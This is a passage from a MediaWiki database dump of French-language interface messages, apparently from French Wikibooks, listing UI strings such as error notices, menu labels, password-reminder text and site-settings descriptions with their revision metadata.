le wiki. MediaWiki:Nosuchspecialpage 1680 sysop 13317 2005-06-25T11:04:03Z MediaWiki default Page spéciale inexistante MediaWiki:Nosuchuser 1681 sysop 19545 2005-08-19T23:11:36Z MediaWiki default L'utilisateur « $1 » n'existe pas. Vérifiez que vous avez bien orthographié le nom, ou utilisez le formulaire ci-dessous pour créer un nouveau compte utilisateur. MediaWiki:Nosuchusershort 1682 sysop 15896 2005-07-03T11:17:09Z MediaWiki default Il n'y a pas de contributeur avec le nom « $1 ». Vérifiez l'orthographe. MediaWiki:Notacceptable 1683 sysop 13320 2005-06-25T11:04:03Z MediaWiki default Ce serveur wiki ne peut pas fournir les données dans un format que votre client est capable de lire. MediaWiki:Notanarticle 1684 sysop 46906 2006-07-01T18:48:50Z MediaWiki default Pas un article MediaWiki:Notargettext 1685 sysop 13322 2005-06-25T11:04:03Z MediaWiki default Indiquez une page cible ou un utilisateur cible. MediaWiki:Notargettitle 1686 sysop 13323 2005-06-25T11:04:03Z MediaWiki default Pas de cible MediaWiki:Note 1687 sysop 34780 2006-02-26T01:46:25Z MediaWiki default <strong>Note :</strong> MediaWiki:Notextmatches 1688 sysop 13325 2005-06-25T11:04:03Z MediaWiki default Aucun texte d'article ne contient le(s) mot(s) demandé(s) MediaWiki:Notitlematches 1689 sysop 13326 2005-06-25T11:04:03Z MediaWiki default Aucun titre d'article ne contient le(s) mot(s) demandé(s) MediaWiki:Notloggedin 1690 sysop 13327 2005-06-25T11:04:03Z MediaWiki default Non connecté MediaWiki:Nov 1691 sysop 13328 2005-06-25T11:04:03Z MediaWiki default nov MediaWiki:November 1692 sysop 13329 2005-06-25T11:04:03Z MediaWiki default novembre MediaWiki:Nowatchlist 1693 sysop 13330 2005-06-25T11:04:03Z MediaWiki default Votre liste de suivi ne contient aucun article. MediaWiki:Nowiki sample 1694 sysop 26200 2005-11-29T00:47:49Z MediaWiki default Entrez le texte non formaté ici MediaWiki:Nowiki tip 1695 sysop 13332 2005-06-25T11:04:04Z MediaWiki default Ignorer la syntaxe wiki MediaWiki:Nstab-category 1696 sysop 13333 2005-06-25T11:04:04Z MediaWiki default Catégorie MediaWiki:Nstab-help 1697 sysop 13334 2005-06-25T11:04:04Z MediaWiki default Aide MediaWiki:Nstab-image 1698 sysop 13335 2005-06-25T11:04:04Z MediaWiki default Image MediaWiki:Nstab-main 1699 sysop 13336 2005-06-25T11:04:04Z MediaWiki default Article MediaWiki:Nstab-media 1700 sysop 13337 2005-06-25T11:04:04Z MediaWiki default Média MediaWiki:Nstab-mediawiki 1701 sysop 13338 2005-06-25T11:04:04Z MediaWiki default Message MediaWiki:Nviews 1702 sysop 13339 2005-06-25T11:04:04Z MediaWiki default $1 consultations MediaWiki:Oct 1703 sysop 13340 2005-06-25T11:04:04Z MediaWiki default oct MediaWiki:October 1704 sysop 13341 2005-06-25T11:04:04Z MediaWiki default octobre MediaWiki:Ok 1705 sysop 13342 2005-06-25T11:04:04Z MediaWiki default OK MediaWiki:Oldpassword 1706 sysop 13343 2005-06-25T11:04:04Z MediaWiki default Ancien mot de passe MediaWiki:Orig 1707 sysop 13344 2005-06-25T11:04:04Z MediaWiki default orig MediaWiki:Orphans 1708 sysop 13345 2005-06-25T11:04:04Z MediaWiki default Pages orphelines MediaWiki:Othercontribs 1709 sysop 46912 2006-07-01T18:48:50Z MediaWiki default Basé sur le travail de $1. MediaWiki:Otherlanguages 1710 sysop 13347 2005-06-25T11:04:04Z MediaWiki default Autres langues MediaWiki:Others 1711 sysop 46913 2006-07-01T18:48:50Z MediaWiki default autres MediaWiki:Pagemovedsub 1712 sysop 26201 2005-11-29T00:47:49Z MediaWiki default Renommage réussi MediaWiki:Pagemovedtext 1713 sysop 46914 2006-07-01T18:48:50Z MediaWiki default L'article « [[$1]] » a été renommé en « [[$2]] ». MediaWiki:Pagetitle 1714 sysop 13351 2005-06-25T11:04:04Z MediaWiki default $1 - {{SITENAME}} MediaWiki:Passwordremindertext 1715 sysop 46915 2006-07-01T18:48:50Z MediaWiki default Quelqu'un (probablement vous) ayant l'adresse IP $1 a demandé à ce qu'un nouveau mot de passe vous soit envoyé pour votre accès au wiki. Le mot de passe de l'utilisateur « $2 » est à présent « $3 ». Nous vous conseillons de vous connecter et de modifier ce mot de passe dès que possible. Si vous n'êtes pas l'auteur de cette demande, ou si vous vous souvenez à présent de votre ancien mot de passe et que vous ne souhaitez plus en changer, vous pouvez ignorer ce message et continuer à utiliser votre ancien mot de passe. MediaWiki:Passwordremindertitle 1716 sysop 13353 2005-06-25T11:04:04Z MediaWiki default Votre nouveau mot de passe sur {{SITENAME}} MediaWiki:Passwordsent 1717 sysop 46916 2006-07-01T18:48:50Z MediaWiki default Un nouveau mot de passe a été envoyé à l'adresse électronique de l'utilisateur « $1 ». MediaWiki:Perfcached 1718 sysop 46918 2006-07-01T18:48:50Z MediaWiki default Ceci est une version en cache et n'est peut-être pas à jour. MediaWiki:Perfdisabled 1719 sysop 13356 2005-06-25T11:04:04Z MediaWiki default Désolé! Cette fonctionnalité est temporairement désactivée car elle ralentit la base de données à un point tel que plus personne ne peut utiliser le wiki. MediaWiki:Perfdisabledsub 1720 sysop 13357 2005-06-25T11:04:04Z MediaWiki default Ceci est une copie de sauvegarde de $1: MediaWiki:Personaltools 1721 sysop 26203 2005-11-29T00:47:49Z MediaWiki default Outils personnels MediaWiki:Popularpages 1722 sysop 13359 2005-06-25T11:04:04Z MediaWiki default Pages les plus consultées MediaWiki:Portal 1723 sysop 19549 2005-08-19T23:11:36Z MediaWiki default Communauté MediaWiki:Portal-url 1724 sysop 13361 2005-06-25T11:04:04Z MediaWiki default {{ns:4}}:Accueil MediaWiki:Postcomment 1725 sysop 13362 2005-06-25T11:04:04Z MediaWiki default Ajouter un commentaire MediaWiki:Poweredby 1726 sysop 13363 2005-06-25T11:04:04Z MediaWiki default {{SITENAME}} is powered by [http://www.mediawiki.org/ MediaWiki], an open source wiki engine. MediaWiki:Powersearch 1727 sysop 13364 2005-06-25T11:04:04Z MediaWiki default Recherche MediaWiki:Powersearchtext 1728 sysop 19550 2005-08-19T23:11:36Z MediaWiki default Rechercher dans les espaces :<br /> $1<br /> $2 Inclure les page de redirections &nbsp; Rechercher $3 $9 MediaWiki:Preferences 1729 sysop 13366 2005-06-25T11:04:04Z MediaWiki default Préférences MediaWiki:Prefslogintext 1730 sysop 13367 2005-06-25T11:04:04Z MediaWiki default Je suis connecté(e) en tant que $1 avec le numéro d'utilisateur $2. Voir [[{{ns:4}}:Aide pour les préférences]] pour les explications concernant les options. MediaWiki:Prefsnologin 1731 sysop 13368 2005-06-25T11:04:04Z MediaWiki default Non connecté MediaWiki:Prefsnologintext 1732 sysop 19551 2005-08-19T23:11:36Z MediaWiki default Vous devez être [[Special:Userlogin|connecté]] pour modifier vos préférences d'utilisateur. MediaWiki:Prefsreset 1733 sysop 13370 2005-06-25T11:04:04Z MediaWiki default Les préférences ont été rétablies à partir de la version enregistrée. MediaWiki:Preview 1734 sysop 13371 2005-06-25T11:04:04Z MediaWiki default Prévisualiser MediaWiki:Previewconflict 1735 sysop 13372 2005-06-25T11:04:04Z MediaWiki default La prévisualisation montre le texte de cette page tel qu'il apparaîtra une fois sauvegardé. MediaWiki:Previewnote 1736 sysop 26204 2005-11-29T00:47:49Z MediaWiki default Attention, ce texte n'est qu'une prévisualisation et n'a pas encore été sauvegardé ! MediaWiki:Previousdiff 1737 sysop 19552 2005-08-19T23:11:36Z MediaWiki default ← Différence précédente MediaWiki:Previousrevision 1738 sysop 19553 2005-08-19T23:11:36Z MediaWiki default ← Version précédente MediaWiki:Prevn 1739 sysop 13376 2005-06-25T11:04:04Z MediaWiki default $1 précédents MediaWiki:Printableversion 1740 sysop 13377 2005-06-25T11:04:04Z MediaWiki default Version imprimable MediaWiki:Printsubtitle 1741 sysop 15907 2005-07-03T11:17:09Z MediaWiki default (de {{SERVER}}) MediaWiki:Protect 1742 sysop 13379 2005-06-25T11:04:04Z MediaWiki default Protéger MediaWiki:Protectcomment 1743 sysop 26205 2005-11-29T00:47:49Z MediaWiki default Raison de la protection MediaWiki:Protectedarticle 1744 sysop 26206 2005-11-29T00:47:49Z MediaWiki default a protégé « $1 » MediaWiki:Protectedpage 1745 sysop 13382 2005-06-25T11:04:04Z MediaWiki default Page protégée MediaWiki:Protectedpagewarning 1746 sysop 26207 2005-11-29T00:47:49Z MediaWiki default '''AVERTISSEMENT : cette page est protégée. Seuls les utilisateurs ayant le statut d'administrateur peuvent la modifier. Soyez certain que vous suivez les [[Project:Page_protégée|directives concernant les pages protégées]].''' MediaWiki:Protectedtext 1747 sysop 46938 2006-07-01T18:48:50Z MediaWiki default Cette page a été protégée pour empêcher sa modification. Vous pouvez consulter [[{{ns:4}}:Page protégée]] pour voir les différentes raisons possibles. Vous pouvez toutefois voir et copier son code source. MediaWiki:Protectlogpage 1748 sysop 26208 2005-11-29T00:47:49Z MediaWiki default Historique des protections MediaWiki:Protectlogtext 1749 sysop 46939 2006-07-01T18:48:50Z MediaWiki default Voir les [[Project:Page protégée|directives]] pour plus d'information. MediaWiki:Protectmoveonly 1750 sysop 15911 2005-07-03T11:17:09Z MediaWiki default Protéger uniquement les déplacements MediaWiki:Protectpage 1751 sysop 13388 2005-06-25T11:04:04Z MediaWiki default Protéger la page MediaWiki:Protectreason 1752 sysop 13389 2005-06-25T11:04:04Z MediaWiki default (indiquez une raison) MediaWiki:Protectsub 1753 sysop 19555 2005-08-19T23:11:36Z MediaWiki default (Protéger « $1 ») MediaWiki:Protectthispage 1754 sysop 13391 2005-06-25T11:04:04Z MediaWiki default Protéger cette page MediaWiki:Proxyblocker 1755 sysop 13392 2005-06-25T11:04:04Z MediaWiki default Bloqueur de proxy MediaWiki:Proxyblockreason 1756 sysop 46940 2006-07-01T18:48:50Z MediaWiki default Votre ip a été bloquée car il s'agit d'un proxy ouvert. Merci de contacter votre fournisseur d'accès internet ou votre support technique et de l'informer de ce problème de sécurité. MediaWiki:Proxyblocksuccess 1757 sysop 19556 2005-08-19T23:11:36Z MediaWiki default Terminé. MediaWiki:Pubmedurl 1758 sysop 13395 2005-06-25T11:04:04Z MediaWiki default http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&db=pubmed&dopt=Abstract&list_uids=$1 MediaWiki:Qbbrowse 1759 sysop 13396 2005-06-25T11:04:04Z MediaWiki default Défiler MediaWiki:Qbedit 1760 sysop 17944 2005-07-29T10:37:03Z MediaWiki default Modifier MediaWiki:Qbfind 1761 sysop 13398 2005-06-25T11:04:04Z MediaWiki default Rechercher MediaWiki:Qbmyoptions 1762 sysop 13399 2005-06-25T11:04:04Z MediaWiki default Mes options MediaWiki:Qbpageinfo 1763 sysop 13400 2005-06-25T11:04:04Z MediaWiki default Page d'information MediaWiki:Qbpageoptions 1764 sysop 13401 2005-06-25T11:04:04Z MediaWiki default Page d'option MediaWiki:Qbsettings 1765 sysop 13402 2005-06-25T11:04:04Z MediaWiki default Personnalisation de la barre outils MediaWiki:Qbspecialpages 1766 sysop 13403 2005-06-25T11:04:04Z MediaWiki default Pages spéciales MediaWiki:Querybtn 1767 sysop 13404 2005-06-25T11:04:04Z MediaWiki default Envoyer la requête MediaWiki:Querysuccessful 1768 sysop 13405 2005-06-25T11:04:04Z MediaWiki default Requête réussie MediaWiki:Randompage 1769 sysop 13406 2005-06-25T11:04:04Z MediaWiki default Une page au hasard MediaWiki:Randompage-url 1770 sysop 15912 2005-07-03T11:17:09Z MediaWiki default Special:Random MediaWiki:Range block disabled 1771 sysop 13408 2005-06-25T11:04:04Z MediaWiki default The sysop ability to create range blocks is disabled. MediaWiki:Rchide 1772 sysop 13409 2005-06-25T11:04:04Z MediaWiki default in $4 form; $1 modifications mineures; $2 espaces secondaires; $3 modifications multiples. MediaWiki:Rclinks 1773 sysop 21882 2005-09-22T14:38:07Z Guillaumito 46 traduction Afficher les $1 dernières modifications effectuées au cours des $2 derniers jours&nbsp;;<br/ >$3. MediaWiki:Rclistfrom 1774 sysop 13411 2005-06-25T11:04:04Z MediaWiki default Afficher les nouvelles modifications depuis le $1. MediaWiki:Rcliu 1775 sysop 13412 2005-06-25T11:04:04Z MediaWiki default ; $1 modifications par des contributeurs connectés MediaWiki:Rcloaderr 1776 sysop 13413 2005-06-25T11:04:04Z MediaWiki default Chargement des dernières modifications MediaWiki:Rclsub 1777 sysop 19557 2005-08-19T23:11:36Z MediaWiki default (des pages liées à « $1 ») MediaWiki:Rcnote 1778 sysop 13415 2005-06-25T11:04:04Z MediaWiki default Voici les <strong>$1</strong> dernières modifications effectuées au cours des <strong>$2</strong> derniers jours. MediaWiki:Rcnotefrom 1779 sysop 13416 2005-06-25T11:04:04Z MediaWiki default Voici les modifications effectuées depuis le <strong>$2</strong> (<b>$1</b> au maximum). MediaWiki:Rcpatroldisabled 1780 sysop 46944 2006-07-01T18:48:50Z MediaWiki default La fonction de patrouille des modifications récentes n'est pas activée. MediaWiki:Rcpatroldisabledtext 1781 sysop 15913 2005-07-03T11:17:09Z MediaWiki default La fonctionnalité de surveillance des modifications récentes n'est pas activée. MediaWiki:Readonly 1782 sysop 13419 2005-06-25T11:04:04Z MediaWiki default Mises à jour bloquées sur la base de données MediaWiki:Readonlytext 1783 sysop 13420 2005-06-25T11:04:04Z MediaWiki default Les ajouts et mises à jour sur la base de donnée {{SITENAME}} sont actuellement bloqués, probablement pour permettre la maintenance de la base, après quoi, tout rentrera dans l'ordre. Voici la raison pour laquelle l'administrateur a bloqué la base : <p>$1 MediaWiki:Readonlywarning 1784 sysop 26209 2005-11-29T00:47:50Z MediaWiki default '''AVERTISSEMENT : cette page est protégée pour maintenance, vous ne pourrez donc pas sauvegarder vos modifications maintenant. Vous pouvez copier le texte dans un fichier et le sauver pour plus tard.''' MediaWiki:Recentchanges 1785 sysop 13422 2005-06-25T11:04:04Z MediaWiki default Modifications récentes MediaWiki:Recentchanges-url 1786 sysop 13423 2005-06-25T11:04:04Z MediaWiki default Special:Recentchanges MediaWiki:Recentchangescount 1787 sysop 13424 2005-06-25T11:04:04Z MediaWiki default Nombre de titres dans les modifications récentes MediaWiki:Recentchangeslinked 1788 sysop 13425 2005-06-25T11:04:04Z MediaWiki default Suivi des liens MediaWiki:Recentchangestext 1789 move=:edit= 29822 2006-01-22T10:11:40Z Greudin 1 irc '''Wikilivres :''' [[wikilivres:le Bistro|notre bistro]] - [[Wikilivres:Demande de livre|demander un livre]] - [[Wikilivres:Pages à supprimer|pages à supprimer]] - [[Wikilivres:copyrights|copyrights]] - [[Wikijunior]] - [[Wikiversité]] - Il y a actuellement {{NUMBEROFARTICLES}} pages.<br /> '''Aide :''' [[Wikilivres:FAQ|FAQ]] - [[Wikilivres:recommandations et règles à suivre|recommandations et règles]] - [[Wikilivres:Règles de nommage|conventions de nommage]] - [[Wikilivres:la neutralité de point de vue|neutralité de point de vue]] - [[Wikilivres:les faux-pas les plus courants|faux-pas courants]] - [[Wikilivres:Bac à sable|bac à sable]]<br /> '''Autres projets''' : [[w:Special:Recentchanges|Wikipédia]] | [[s:Special:Recentchanges|Wikisource]] | [[wikt:Special:Recentchanges|Wiktionnaire]] | [[m:Special:Recentchanges|Meta]] | [[commons:Special:Recentchanges|Commons]] | [[q:Special:Recentchanges|Wikiquote]] | [[n:Special:Recentchanges|Wikinews]]<br /> ''Note : Vous pouvez également surveiller les [irc://irc.wikimedia.org/fr.wikibooks modifications récentes depuis IRC]''. Pour les discussions cela se passe sur le canal'' [irc://irc.freenode.net/wikibooks-fr #wikibooks-fr] ''du serveur'' [[w:freenode|irc.freenode.net]] <div align="right"> [http://fr.wikibooks.org/w/wiki.phtml?title=MediaWiki:Recentchangestext&action=edit Modifier] </div> [[de:Spezial:Recentchanges]] [[el:Special:Recentchanges]] [[en:Special:Recentchanges]] [[es:Especial:Recentchanges]] [[et:Eri:Recentchanges]] [[he:מיוחד:Recentchanges]] [[it:Speciale:Recentchanges]] [[ja:特別:Recentchanges]] [[ku:Special:Recentchanges]] [[nl:Speciaal:Recentchanges]] [[pl:Specjalna:Recentchanges]] [[pt:Especial:Recentchanges]] [[ru:Специальные:Recentchanges]] [[sv:Special:Recentchanges]] [[vi:Special:Recentchanges]] MediaWiki:Redirectedfrom 1790 sysop 13427 2005-06-25T11:04:04Z MediaWiki default (Redirigé depuis $1) MediaWiki:Remembermypassword 1791 sysop 13428 2005-06-25T11:04:04Z MediaWiki default Se souvenir de mon mot de passe (cookie) MediaWiki:Removechecked 1792 sysop 26210 2005-11-29T00:47:50Z MediaWiki default Retirer de la liste de suivi les pages sélectionnées MediaWiki:Removedwatch 1793 sysop 46955 2006-07-01T18:48:50Z MediaWiki default Retirée de la liste de suivi MediaWiki:Removedwatchtext 1794 sysop 46956 2006-07-01T18:48:50Z MediaWiki default La page « $1 » a été retirée de votre liste de suivi. MediaWiki:Removingchecked 1795 sysop 13432 2005-06-25T11:04:04Z MediaWiki default Les articles sélectionnés sont retirés de votre liste de suivi... MediaWiki:Resetprefs 1796 sysop 13433 2005-06-25T11:04:04Z MediaWiki default Rétablir les préférences MediaWiki:Restorelink 1797 sysop 20619 2005-09-05T09:20:03Z MediaWiki default $1 modification(s) effacée(s) MediaWiki:Resultsperpage 1798 sysop 26211 2005-11-29T00:47:50Z MediaWiki default Nombre de réponses par page MediaWiki:Retrievedfrom 1799 sysop 17947 2005-07-29T10:37:04Z MediaWiki default Récupérée de « $1 » MediaWiki:Returnto 1800 sysop 13437 2005-06-25T11:04:04Z MediaWiki default Revenir à la page $1. MediaWiki:Retypenew 1801 sysop 13438 2005-06-25T11:04:04Z MediaWiki default Confirmer le nouveau mot de passe MediaWiki:Reupload 1802 sysop 13439 2005-06-25T11:04:04Z MediaWiki default Copier à nouveau MediaWiki:Reuploaddesc 1803 sysop 13440 2005-06-25T11:04:04Z MediaWiki default Retour au formulaire. MediaWiki:Reverted 1804 sysop 13441 2005-06-25T11:04:04Z MediaWiki default Rétablissement de la version précédente MediaWiki:Revertimg 1805 sysop 13442 2005-06-25T11:04:04Z MediaWiki default rétab MediaWiki:Revertpage 1806 sysop 46976 2006-07-01T18:48:50Z MediaWiki default Modifications de [[Special:Contributions/$2|$2]] ([[User_talk:$2|Discussion]]) révertées; retour à l'ancienne version de [[User:$1|$1]] MediaWiki:Revhistory 1807 sysop 13444 2005-06-25T11:04:04Z MediaWiki default Versions précédentes MediaWiki:Revisionasof 1808 sysop 13445 2005-06-25T11:04:04Z MediaWiki default Version du $1 MediaWiki:Revisionasofwithlink 1809 sysop 13446 2005-06-25T11:04:04Z MediaWiki default Revision as of $1; $2<br />$3 | $4 MediaWiki:Revnotfound 1810 sysop 13447 2005-06-25T11:04:04Z MediaWiki default Version introuvable MediaWiki:Revnotfoundtext 1811 sysop 19560 2005-08-19T23:11:36Z MediaWiki default La version précédente de cette page n'a pas pu être retrouvée. Vérifiez l'URL que vous avez utilisée pour accéder à cette page. MediaWiki:Rfcurl 1812 sysop 17948 2005-07-29T10:37:04Z MediaWiki default http://www.ietf.org/rfc/rfc$1.txt MediaWiki:Rights 1813 sysop 13450 2005-06-25T11:04:04Z MediaWiki default Droits: MediaWiki:Rollback 1814 sysop 13451 2005-06-25T11:04:04Z MediaWiki default révoquer modifications MediaWiki:Rollback short 1815 sysop 13452 2005-06-25T11:04:04Z MediaWiki default Révoquer MediaWiki:Rollbackfailed 1816 sysop 13453 2005-06-25T11:04:04Z MediaWiki default La révocation a échoué MediaWiki:Rollbacklink 1817 sysop 13454 2005-06-25T11:04:04Z MediaWiki default révoquer MediaWiki:Rows 1818 sysop 26212 2005-11-29T00:47:50Z MediaWiki default Rangées MediaWiki:Saturday 1819 sysop 13456 2005-06-25T11:04:04Z MediaWiki default samedi MediaWiki:Savearticle 1820 sysop 13457 2005-06-25T11:04:04Z MediaWiki default Sauvegarder MediaWiki:Savedprefs 1821 sysop 13458 2005-06-25T11:04:04Z MediaWiki default Les préférences ont été sauvegardées. MediaWiki:Savefile 1822 sysop 13459 2005-06-25T11:04:04Z MediaWiki default Sauvegarder le fichier MediaWiki:Savegroup 1823 sysop 13460 2005-06-25T11:04:04Z MediaWiki default Save Group MediaWiki:Saveprefs 1824 sysop 13461 2005-06-25T11:04:04Z MediaWiki default Enregistrer les préférences MediaWiki:Saveusergroups 1825 sysop 46982 2006-07-01T18:48:50Z MediaWiki default Sauvegarder les groupes utilisateur MediaWiki:Search 1826 sysop 13463 2005-06-25T11:04:04Z MediaWiki default Rechercher MediaWiki:Searchdisabled 1827 sysop 46987 2006-07-01T18:48:50Z MediaWiki default La recherche sur {{SITENAME]] a été désactivée. En attendant la réactivation, vous pouvez effectuer une recherche par le biais de Google. Attention, leur indexation du contenu {{SITENAME]] peut ne pas être à jour. MediaWiki:Searchquery 1828 sysop 19562 2005-08-19T23:11:36Z MediaWiki default Pour la requête « $1 » MediaWiki:Searchresults 1829 sysop 13466 2005-06-25T11:04:04Z MediaWiki default Résultat de la recherche MediaWiki:Searchresultshead 1830 sysop 13467 2005-06-25T11:04:04Z MediaWiki default Affichage des résultats de recherche MediaWiki:Searchresulttext 1831 sysop 26214 2005-11-29T00:47:50Z MediaWiki default Pour plus d'informations sur la recherche dans {{SITENAME}}, voir [[Aide:Recherche|Chercher dans {{SITENAME}}]]. MediaWiki:Sectionlink 1832 sysop 19563 2005-08-19T23:11:36Z MediaWiki default MediaWiki:Selectnewerversionfordiff 1833 sysop 46990 2006-07-01T18:48:50Z MediaWiki default Choisir une version plus récente pour comparaison MediaWiki:Selectolderversionfordiff 1834 sysop 46991 2006-07-01T18:48:50Z MediaWiki default Choisir une version plus ancienne pour comparaison MediaWiki:Selectonly 1835 sysop 13472 2005-06-25T11:04:04Z MediaWiki default Les requêtes autres que "SELECT" sont réservées aux développeurs du wiki. MediaWiki:Selflinks 1836 sysop 13473 2005-06-25T11:04:04Z MediaWiki default Page avec un lien circulaire MediaWiki:Selflinkstext 1837 sysop 13474 2005-06-25T11:04:04Z MediaWiki default Les pages suivantes contiennent un lien vers elles-mêmes, ce qui n'est pas permis. MediaWiki:Sep 1838 sysop 13475 2005-06-25T11:04:04Z MediaWiki default sep MediaWiki:September 1839 sysop 13476 2005-06-25T11:04:04Z MediaWiki default septembre MediaWiki:Seriousxhtmlerrors 1840 sysop 13477 2005-06-25T11:04:04Z MediaWiki default There were serious xhtml markup errors detected by tidy. MediaWiki:Servertime 1841 sysop 13478 2005-06-25T11:04:04Z MediaWiki default Heure du serveur MediaWiki:Set rights fail 1842 sysop 26215 2005-11-29T00:47:50Z MediaWiki default <b>Les droits de l'utilisateur « $1 » n'ont pas pu être mis à jour. (Avez vous entré le nom correctement?)</b> MediaWiki:Set user rights 1843 sysop 26216 2005-11-29T00:47:50Z MediaWiki default Appliquer les droits à l'utilisateur MediaWiki:Setbureaucratflag 1844 sysop 46997 2006-07-01T18:48:50Z MediaWiki default Ajouter le statut de Bureaucrate MediaWiki:Sharedupload 1845 sysop 24596 2005-10-29T13:30:13Z Greudin 1 <br style="clear:both" /> {| align=center border=0 cellpadding=4 cellspacing=4 style="border: 1px solid #CCCC99; background-color: #ECBDA0" |- | [[Image:Commons-logo.svg|35px|center|Commons]] | style="font-size: 95%" | Ce fichier ainsi que les '''[[Commons:Image:{{PAGENAME}}|informations le concernant]]''' sont importés automatiquement depuis [[Commons:Accueil|Wikimedia Commons]]. Pour savoir comment télécharger et/ou importer une image sur Commons, consultez : [[w:Wikipédia:Wikimedia Commons|Wikipédia:Wikimedia Commons]]. |} MediaWiki:Shortpages 1846 sysop 47001 2006-07-01T18:48:50Z MediaWiki default Pages courtes MediaWiki:Show 1847 sysop 47002 2006-07-01T18:48:50Z MediaWiki default Afficher MediaWiki:Showbigimage 1848 sysop 47003 2006-07-01T18:48:50Z MediaWiki default Télécharger une version en haute résolution ($1x$2, $3 KB) MediaWiki:Showhideminor 1849 sysop 21881 2005-09-22T14:35:43Z Guillaumito 46 traduction $1 les modifications mineures | $2 les robots | $3 les utilisateurs enregistrés MediaWiki:Showingresults 1850 sysop 13487 2005-06-25T11:04:04Z MediaWiki default Affichage de <b>$1</b> résultats à partir du #<b>$2</b>. MediaWiki:Showingresultsnum 1851 sysop 13488 2005-06-25T11:04:04Z MediaWiki default Affichage de <b>$3</b> résultats à partir du #<b>$2</b>. MediaWiki:Showlast 1852 sysop 13489 2005-06-25T11:04:04Z MediaWiki default Afficher les $1 dernières images classées $2. MediaWiki:Showpreview 1853 sysop 13490 2005-06-25T11:04:04Z MediaWiki default Prévisualisation MediaWiki:Showtoc 1854 sysop 17952 2005-07-29T10:37:04Z MediaWiki default afficher MediaWiki:Sig tip 1855 sysop 13492 2005-06-25T11:04:04Z MediaWiki default Votre signature avec la date MediaWiki:Siteadminpheading 1856 sysop 15934 2005-07-03T11:17:10Z MediaWiki default niveau administrateur du site MediaWiki:Sitesettings 1857 sysop 13494 2005-06-25T11:04:04Z MediaWiki default Site Settings MediaWiki:Sitesettings-caching 1858 sysop 13495 2005-06-25T11:04:04Z MediaWiki default Page caching MediaWiki:Sitesettings-cookies 1859 sysop 13496 2005-06-25T11:04:04Z MediaWiki default Cookies MediaWiki:Sitesettings-debugging 1860 sysop 13497 2005-06-25T11:04:04Z MediaWiki default Debugging MediaWiki:Sitesettings-features 1861 sysop 13498 2005-06-25T11:04:04Z MediaWiki default Features MediaWiki:Sitesettings-images 1862 sysop 13499 2005-06-25T11:04:04Z MediaWiki default Images MediaWiki:Sitesettings-memcached 1863 sysop 13500 2005-06-25T11:04:04Z MediaWiki default Memcache Daemon MediaWiki:Sitesettings-performance 1864 sysop 13501 2005-06-25T11:04:04Z MediaWiki default Performance MediaWiki:Sitesettings-permissions 1865 sysop 13502 2005-06-25T11:04:04Z MediaWiki default Permissions MediaWiki:Sitesettings-permissions-banning 1866 sysop 13503 2005-06-25T11:04:04Z MediaWiki default User banning MediaWiki:Sitesettings-permissions-miser 1867 sysop 13504 2005-06-25T11:04:04Z MediaWiki default Performance settings MediaWiki:Sitesettings-permissions-readonly 1868 sysop 13505 2005-06-25T11:04:04Z MediaWiki default Maintenance mode: Disable write access MediaWiki:Sitesettings-permissions-whitelist 1869 sysop 13506 2005-06-25T11:04:04Z MediaWiki default Whitelist mode MediaWiki:Sitesettings-wgAllowExternalImages 1870 sysop 13507 2005-06-25T11:04:04Z MediaWiki default Allow to include external images into articles MediaWiki:Sitesettings-wgDefaultBlockExpiry 1871 sysop 13508 2005-06-25T11:04:04Z MediaWiki default By default, blocks expire after: MediaWiki:Sitesettings-wgDisableQueryPages 1872 sysop 13509 2005-06-25T11:04:04Z MediaWiki default When in miser mode, disable all query pages, not only "expensive" ones MediaWiki:Sitesettings-wgHitcounterUpdateFreq 1873 sysop 13510 2005-06-25T11:04:04Z MediaWiki default Hit counter update frequency MediaWiki:Sitesettings-wgMiserMode 1874 sysop 13511 2005-06-25T11:04:04Z MediaWiki default Enable miser mode, which disables most "expensive" features MediaWiki:Sitesettings-wgReadOnly 1875 sysop 13512 2005-06-25T11:04:04Z MediaWiki default Readonly mode MediaWiki:Sitesettings-wgReadOnlyFile 1876 sysop 13513 2005-06-25T11:04:04Z MediaWiki default Readonly message file MediaWiki:Sitesettings-wgShowIPinHeader 1877 sysop 13514 2005-06-25T11:04:04Z MediaWiki default Show IP in header (for non-logged in users) MediaWiki:Sitesettings-wgSysopRangeBans 1878 sysop 13515 2005-06-25T11:04:04Z MediaWiki default Sysops may block IP-ranges MediaWiki:Sitesettings-wgSysopUserBans 1879 sysop 13516 2005-06-25T11:04:04Z MediaWiki default Sysops may block logged-in users MediaWiki:Sitesettings-wgUseCategoryBrowser 1880 sysop 13517 2005-06-25T11:04:04Z MediaWiki default Enable experimental dmoz-like category browsing. Outputs things like: Encyclopedia > Music > Style of Music > Jazz MediaWiki:Sitesettings-wgUseCategoryMagic 1881 sysop 13518 2005-06-25T11:04:04Z MediaWiki default Enable categories MediaWiki:Sitesettings-wgUseDatabaseMessages 1882 sysop 13519 2005-06-25T11:04:04Z MediaWiki default Use database messages for user interface labels MediaWiki:Sitesettings-wgUseWatchlistCache 1883 sysop 13520 2005-06-25T11:04:04Z MediaWiki default Generate a watchlist once every hour or so MediaWiki:Sitesettings-wgWLCacheTimeout 1884 sysop 13521 2005-06-25T11:04:04Z MediaWiki default The hour or so mentioned above (in seconds): MediaWiki:Sitesettings-wgWhitelistAccount-developer 1885 sysop 13522 2005-06-25T11:04:04Z MediaWiki default Developers may create accounts for users MediaWiki:Sitesettings-wgWhitelistAccount-sysop 1886 sysop 13523 2005-06-25T11:04:04Z MediaWiki default Sysops may create accounts for users MediaWiki:Sitesettings-wgWhitelistAccount-user 1887 sysop 13524 2005-06-25T11:04:04Z MediaWiki default Users may create accounts themself MediaWiki:Sitesettings-wgWhitelistEdit 1888 sysop 13525 2005-06-25T11:04:04Z MediaWiki default Users must be logged in to edit MediaWiki:Sitesettings-wgWhitelistRead 1889 sysop 13526 2005-06-25T11:04:04Z MediaWiki default Anonymous users may only read these pages: MediaWiki:Sitestats 1890 sysop 13527 2005-06-03T09:56:33Z Marc 66 Statistiques du site MediaWiki:Sitestatstext 1891 sysop 13528 2005-06-03T09:59:11Z Marc 66 La base de données contient actuellement <b>$1</b> pages. Ce chiffre inclut les pages "discussion", les pages relatives à {{SITENAME}}, les pages minimales ("bouchons"), les pages de redirection, ainsi que d'autres pages qui ne peuvent sans doute pas être considérées comme des articles. Si l'on exclut ces pages, il reste <b>$2</b> pages qui sont probablement de véritables articles.<p> <b>$3</b> pages ont été consultées et <b>$4</b> pages modifiées depuis la mise à jour du logiciel (31 octobre 2002). Cela représente une moyenne de <b>$5</b> modifications par page et de <b>$6</b> consultations pour une modification.</br> Voir 